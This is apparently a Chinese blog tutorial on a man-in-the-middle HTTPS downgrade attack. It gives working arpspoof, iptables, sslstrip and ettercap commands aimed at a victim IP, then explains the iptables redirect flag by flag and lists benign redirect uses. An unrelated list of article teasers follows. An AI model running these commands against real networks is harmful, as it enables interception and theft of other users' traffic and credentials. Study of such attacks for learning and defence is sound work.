中间人攻击(https降级攻击)和iptables命令分析
中间人攻击
以下是一个简单的中间人攻击示例,结合 ARP 欺骗和流量修改:
1. 进行 ARP 欺骗
首先,使用 arpspoof 进行 ARP 欺骗,将受害者的流量重定向到攻击者的机器上:
sudo arpspoof -i eth0 -t 172.29.144.50 172.29.144.1
2. 启用 IP 转发
确保 IP 转发已启用,以便攻击者可以将流量转发到真正的目标(如网关):
echo "net.ipv4.ip_forward = 1" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
3. 使用 iptables 进行流量重定向
使用 iptables 将流量重定向到攻击者的机器上,并进行修改:
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4. 使用 sslstrip 进行 HTTPS 降级攻击
sslstrip 是一个工具,可以将 HTTPS 流量降级为 HTTP 流量,从而捕获和修改敏感信息:
sudo sslstrip -l 8080
5. 使用 ettercap 进行更复杂的中间人攻击
ettercap 是一个功能更强大的工具,可以进行 ARP 欺骗、DNS 欺骗、流量捕获和修改等:
sudo ettercap -T -q -i eth0 -M arp:remote /172.29.144.1// /172.29.144.50//
iptables 是 Linux 上用于配置防火墙的工具,允许用户设置许多规则来过滤和转发网络流量。你提到的命令用于配置流量重定向,下面是对该命令的详细解释:
iptables 命令分析
命令如下:
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
各部分解释
-
sudo:- 以超级用户(root)权限运行命令,因为配置
iptables需要管理员权限。
- 以超级用户(root)权限运行命令,因为配置
-
iptables:- 调用
iptables工具来设置防火墙规则。
- 调用
-
-t nat:- 指定使用 NAT(网络地址转换)表。NAT 表用于处理 IP 地址映射和修改,主要用于路由和流量重定向。
-
-A PREROUTING:-A表示"追加"一条规则。PREROUTING链在数据包到达路由决策之前进行处理的地方。这意味着在数据包被路由到具体的网络接口或主机之前,系统会检查这条链中的规则。
-
-p tcp:- 指定协议类型为 TCP。这意味着此规则仅适用于 TCP 流量。
-
--destination-port 80:- 指定目标端口为 80,即 HTTP 流量通常使用的端口。此规则将匹配所有目的端口为 80 的 TCP 流量。
-
-j REDIRECT:-j是“跳转”的意思,指定当流量匹配上述条件时的后续操作。REDIRECT表示将匹配到的数据包重定向到本机的某个端口,而不是发往原始目标。
-
--to-port 8080:- 指定重定向的目标端口为 8080。这表示所有到达 80 端口的流量会被重定向到本机的 8080 端口。
功能与应用
该命令用于将流量从一个端口重定向到另一个端口的功能。在这个具体的示例中,它的作用如下:
- 重定向 HTTP 流量:当有 TCP 流量到达本机的 80 端口(例如,浏览器发起的 HTTP 请求),这条命令会将请求重定向到本机的 8080 端口。
- 实现中间人攻击:在进行 ARP 欺骗的情况下,攻击者可以通过重定向将 HTTP 流量转发到他们控制的服务,从而拦截、修改或者分析请求和响应。这对于降级攻击(例如将 HTTPS 降级为 HTTP)特别有用。
例子
假设你在运行一个简单的 HTTP 代理服务器或 Web 服务器,正在监听 8080 端口。如果攻击者成功执行了 ARP 欺骗,同时使用了这个 iptables 规则,当用户尝试访问某个网站(例如, http://example.com),请求将以 HTTP 的形式到达 80 端口,然后被重定向到本机的 8080 端口。
在使用 iptables 进行流量重定向时,你不仅可以将流量从端口 80 重定向到本机的 8080 端口,还可以将其重定向到任何其他有效的网络地址和端口组合。以下是其他重定向目标示例:
-
重定向到另一个本地端口:
你可以将流量重定向到本机上的任何其他监听端口。例如,如果你有一个服务在端口 8888 上运行,你可以使用以下命令将流量从端口 80 重定向到端口 8888:sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8888 -
重定向到另一台机器:
如果你想将流量重定向到网络中的另一台机器,你可以使用 DNAT(目标网络地址转换)规则。例如,如果你想将所有到达端口 80 的流量重定向到 IP 地址 192.168.1.100 的端口 8080,你可以使用以下命令:sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080请注意,为了使这种重定向工作,你的机器需要能够路由到目标 IP 地址,并且目标机器需要在指定的端口上监听。
-
重定向到多个目标:
虽然单条iptables规则不能直接将流量分散到多个目标,但你可以通过配置多个规则或使用负载均衡软件来实现这一点。例如,你可以创建两个规则,每个规则将一部分流量重定向到不同的端口或机器。 -
基于条件的重定向:
你还可以根据更复杂的条件来重定向流量,例如源 IP 地址、目的 IP 地址范围、时间等。这需要使用更高级的iptables规则集和匹配条件。 -
重定向到 VPN 或代理服务器:
如果你运行一个 VPN 服务或代理服务器,你可以将流量重定向到这些服务,以便对流量进行进一步的加密、解密或路由。 -
重定向到蜜罐系统:
在网络安全领域,蜜罐(Honeypot)是一种故意设置为诱饵的系统,用于吸引和捕获攻击者的活动。你可以将可疑的流量重定向到蜜罐系统以进行分析和监控。
相关文章:
中间人攻击(https降级攻击)和iptables命令分析
中间人攻击 以下是一个简单的中间人攻击示例,结合 ARP 欺骗和流量修改: 1. 进行 ARP 欺骗 首先,使用 arpspoof 进行 ARP 欺骗,将受害者的流量重定向到攻击者的机器上: sudo arpspoof -i eth0 -t 172.29.144.50 172…...
开源生活-分布式管理
开源竞争(当自己没有办法彻底掌握一门技术的时候就彻底开源掉;培养出更多的依赖,让更多人帮助你完善你的技术,那么这不就是在砸罐子吗?一个行业里面总会有人先砸罐子的,你不如先砸罐子,还能听个…...
华为OD机试真题- 关联子串
该专栏题目包含两部分: 100 分值部分题目 200 分值部分题目 所有题目都会陆续更新,订阅防丢失 题目描述: 给定两个字符串str1和str2,如果字符串str1中的字符,经过排列组合后的字符串中,只要有一个字符串是…...
云智慧完成华为原生鸿蒙系统的适配, 透视宝 APM 为用户体验保驾护航
2024 年 10 月 22 日,首个国产移动操作系统 —— 华为原生鸿蒙操作系统 HarmonyOS NEXT 正式面世,成为继 iOS 和 Android 后的全球第三大移动操作系统。HarmonyOS NEXT,从系统内核、数据库根基,到编程语言创新、AI(人工…...
QT 多语言转换 ts、qm
QT开发之路 企业级开发系列文章,主要目标快速学习、完善、提升 相关技能 高效完成企业级项目开发 分享在企业中积累的实用技能和经验。 通过具体的编码过程、代码示例、步骤详解、核心内容和展示的方法解决遇到的实际问题。 阅读前声明 本系列文章属于付费内容 禁止…...
C++学习:类和对象(二)
一、默认成员函数 1. 什么是默认成员函数? 在C中,每个类都有一些特殊的成员函数,如果程序员没有显式地声明,编译器会自动为类生成这些函数,这些函数称为默认成员函数 2. 默认成员函数列表 默认构造函数(…...
深度学习(五):语音处理领域的创新引擎(5/10)
一、深度学习在语音处理中的崛起 在语音处理领域,传统方法如谱减法、维纳滤波等在处理复杂语音信号时存在诸多局限性。这些方法通常假设噪声是平稳的,但实际噪声往往是非平稳的,导致噪声估计不准确。同时,为了去除噪声࿰…...
双曲函数(Hyperbolic functuons)公式
在python等语言里有双曲函数库和反双曲函数库,但是并没有包含所有的双曲函数。以numpy为例子,numpy只提供了sinh、cosh、tanh、arcsinh、arccosh、arctanh六种函数,那么其余的就需要用公式计算了。 转换公式 对于函数库不能直接计算的&#…...
【CSS/SCSS】@layer的介绍及使用方法
目录 基本用法layer 的作用与优点分离样式职责,增强代码可读性和可维护性防止无意的样式冲突精确控制样式的逐层覆盖提高复用性 兼容性实际示例:使用 import 管理加载顺序实际示例:混入与 layer 结合使用 layer 是 CSS 中用于组织和管理样式优…...
我为什么投身于青少年AI编程?——打造生态圈(三)
第五部分 青少年AI编程生态圈 一、生态圈 主要涵盖家庭、社区/中小学、高校高职、主管部门。 1、家庭 我们与社区/中小学一道打造让家长满意的模式。 教得好: 费用少: 家门口: 2、社区/中小学 社区党群服务中心和中小学都有大面积科普…...
出海要深潜,中国手机闯关全球化有了新标杆
经济全球化的大势之下,中国科技企业开拓海外市场已成为一种必然选择。 对于国内手机企业来说,推进全球商业版图扩张,业务潜力巨大,海外市场是今后的关键增长引擎。 当前中国手机厂商在海外市场的发展,有收获也有坎坷…...
百度SEO中的关键词密度与内容优化研究【百度SEO专家】
大家好,我是百度SEO专家(林汉文),在百度SEO优化中,关键词密度和关键词内容的优化对提升页面排名至关重要。关键词的合理布局与内容的质量是确保网页在百度搜索结果中脱颖而出的关键因素。下面我们将从关键词密度和关键…...
如何用fastapi集成pdf.js 的viewer.html ,并支持 mjs
fastapi 框架 集成pdf.js 的 viewer.html?file=***,支持跨域,支持.mjs .wasm .pdf 给出完整示例代码 要在 FastAPI 框架中集成 pdf.js 的 viewer.html,并支持跨域访问以及 .mjs、.wasm、.pdf 文件的正确加载,可以按照以下步骤进行。下面提供一个完整的示例,包括项目结构…...
文件相对路径与绝对路径
前言: 在写代码绘制图像的过程中,发现出现cant read input file的异常,而且输出框没有绘制图片,所以寻找解决方案。先贴上之前写的简洁版绘制图像代码 1.BackGround类 import java.awt.image.BufferedImage;public class BackG…...
Linux 重启命令全解析:深入理解与应用指南
Linux 重启命令全解析:深入理解与应用指南 在 Linux 系统中,掌握正确的重启命令是确保系统稳定运行和进行必要维护的关键技能。本文将深入解析 Linux 中常见的重启命令,包括功能、用法、适用场景及注意事项。 一、reboot 命令 功能简介 re…...
【北京迅为】《STM32MP157开发板嵌入式开发指南》-第六十七章 Trusted Firmware-A 移植
iTOP-STM32MP157开发板采用ST推出的双核cortex-A7单核cortex-M4异构处理器,既可用Linux、又可以用于STM32单片机开发。开发板采用核心板底板结构,主频650M、1G内存、8G存储,核心板采用工业级板对板连接器,高可靠,牢固耐…...
`a = a + b` 与 `a += b` 的区别
在 Java 中,a a b 和 a b 都用于将 b 的值加到 a 上,但它们之间存在一些重要的区别,尤其是在类型转换和操作行为方面。 使用 操作符时,Java 会自动进行隐式类型转换,而使用 则不会。这意味着在 a b 的情况下&am…...
mysqld.log文件过大,清理后不改变所属用户
#1024程序员节# 一、背景 突然有一天,我的mysql报磁盘不足了。仔细查看才发现,是磁盘满了。而MySQL的日志文件占用了91个G.如下所示: [roothost-172-16-14-128 mysql]# ls -lrth 总用量 93G -rw-r----- 1 mysql mysql 1.1G 7月 30 2023 m…...
v4.7+版本用户充值在交易统计中计算双倍的问题修复
app/services/statistic/TradeStatisticServices.php 文件中 $whereInRecharge[recharge_type] no_system; $whereInRecharge[recharge_type] system; app/model/user/UserRecharge.php 中 修改此搜索器内容 public function searchRechargeTypeAttr($query, $value){ if…...
[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)
知识点: 命令执行 linux空格绕过 反引号绕过 变量绕过 base64编码绕过 打开页面提示 "听说php可以执行系统函数?我来康康" 然后输入框内提示输入 bjut.edu.cn 输入之后回显信息,是ping 这个网址的信息 输入127.0.0.1 因为提示是命令…...
SparkFun ICM-20948 Arduino库:DMP硬件协处理器深度实践指南
1. 项目概述SparkFun ICM-20948 Arduino Library 是面向 TDK InvenSense ICM-20948 九轴惯性测量单元(9DoF IMU)的官方 Arduino 封装库,专为 SparkFun 9DoF IMU Breakout - ICM-20948(Qwiic 接口版本,型号 SEN-15335&a…...
浅析Python中正则表达式的性能优化
在Python开发中,正则表达式是处理文本的利器,但如果使用不当,很容易成为性能瓶颈。尤其是在处理大文本或高频调用场景下,正则的执行效率直接影响整个程序的运行速度。本文将从正则匹配的底层逻辑出发,总结实用的性能优…...
RAG的墓志铭:当AI不再需要检索
上个月读到一篇在 Hacker News 上引发热议的文章——《The RAG Obituary: Killed by Agents, Buried by Context Windows》。作者 Nicolas Bustamante 是金融科技公司 Fintool 的创始人,他在文中抛出了一个颇具争议的观点:RAG(检索增强生成&a…...
新手友好:在快马平台用mc、jc相关案例轻松上手前端开发
作为一个刚接触前端开发的新手,我最近在InsCode(快马)平台尝试做了一个特别适合练手的小工具——代码行数统计器。这个项目用最基础的HTML、CSS和JavaScript实现,但包含了前端开发的几个核心概念,特别适合想通过实际案例学习的朋友。 项目功能…...
AI的“血管”:从大模型需求看6G、高速光纤与智算中心网络的技术变革
大模型训练与推理的爆发,正以前所未有的力度重塑通信网络基础设施。6G、高速光纤、智算中心网络,正成为AI基础设施的“血管”,承载着算力的血液,决定智能的极限。当GPT-5.4的推理能力逼近人类专家,当Sora可以生成一分钟…...
手把手教你用R玩转MSigDB:从数据库下载、基因集构建到GSEA/GSVA完整流程
手把手教你用R玩转MSigDB:从数据库下载、基因集构建到GSEA/GSVA完整流程 如果你正在寻找一个权威的基因集数据库来支持你的转录组功能分析,MSigDB(Molecular Signatures Database)无疑是首选。作为Broad研究所维护的核心资源&…...
AI持续爆火,相关岗位薪资到底达到了多少,AI大模型岗位薪资真相:多少年包能拿到?普通人如何破局?
“AI相关岗位薪资” 随着AI持续火爆,各大厂也都在招聘相关人才,近日OfferShow专门对AI相关岗位的工资情况进行了一期专题汇总,都是校招岗位年包90W左右年包100W年包80w70W50W左右40W左右54W左右34W左右。 看大家投票可信度还是挺高的…...
白城腾讯广告服务商
在白城,有不少企业想借助腾讯广告拓展业务,这就离不开靠谱的腾讯广告服务商。今天就和大家聊聊白城腾讯广告服务商的那些事儿,长春中网互联技术在这一领域表现就相当不错。白城腾讯广告服务商现状行业报告显示,近几年白城地区对腾…...
从51job爬虫案例出发,聊聊如何用Selenium优雅地绕过前端反爬机制
从51job爬虫案例解析Selenium反反爬高阶策略 当招聘网站的前端技术不断升级,传统爬虫手段逐渐失效时,如何让自动化工具的行为更像真实用户?这个问题困扰着许多中高级开发者。以51job为例,其动态加载、URL不变的设计让常规爬虫束手…...
OpenClaw错误排查大全:百川2-13B接口调用常见问题与解决方案
OpenClaw错误排查大全:百川2-13B接口调用常见问题与解决方案 1. 为什么需要这份排查指南 上周我在本地部署百川2-13B模型对接OpenClaw时,连续遇到了三个晚上各种报错。从模型加载失败到Token耗尽,再到莫名其妙的响应超时,每次解…...
